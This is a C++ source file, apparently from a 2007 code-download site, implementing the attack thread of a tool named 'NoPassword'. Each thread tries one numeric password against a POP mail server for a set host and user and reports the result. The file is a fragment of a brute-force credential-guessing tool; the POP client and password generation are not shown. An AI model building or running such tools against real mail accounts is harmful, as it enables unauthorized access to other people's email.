AttackThread.cpp
上传用户:chenhai826
上传日期:2007-04-11
资源大小:72k
文件大小:1k
- // AttackThread.cpp: implementation of the CAttackThread class.
- //
- //////////////////////////////////////////////////////////////////////
- #include "stdafx.h"
- #include "NoPassword.h"
- #include "AttackThread.h"
- #include "Pop.h"
- #include "ReportParam.h"
- #ifdef _DEBUG
- #undef THIS_FILE
- static char THIS_FILE[]=__FILE__;
- #define new DEBUG_NEW
- #endif
- //////////////////////////////////////////////////////////////////////
- // Construction/Destruction
- //////////////////////////////////////////////////////////////////////
- HWND CAttackThread::m_hMainWnd = NULL;
- CString CAttackThread::m_Host;
- CString CAttackThread::m_User;
- long CAttackThread::m_nNum;
- CAttackThread::CAttackThread(CWnd *pWnd,int nPwd)
- :CThread(pWnd)
- {
- m_nPassword = nPwd;
- }
- CAttackThread::~CAttackThread()
- {
- }
- BOOL CAttackThread::InitWork(void)
- {
- m_pReport = new CReportParam;
- m_pReport->password = m_nPassword;
- m_nTimes = 2;
- return TRUE;
- }
- void CAttackThread::CleanupWork(void)
- {
- InterlockedDecrement(&m_nNum);
- }
- BOOL CAttackThread::Work(void)
- {
- CPop pop;
- m_pReport->nEvent = pop.Connect(m_Host,m_User,m_nPassword);
- pop.Disconnect();
- if((m_pReport->nEvent == REPORT_CONNECT_ERROR ||
- m_pReport->nEvent == REPORT_SUCCEED) && m_nTimes)
- {
- m_nTimes--;
- return TRUE; //Test again
- }
- else
- {
- PostMessage(m_hMainWnd,UM_THREAD_REPORT,m_nNum-1,(long)m_pReport);
- return FALSE;
- }
- }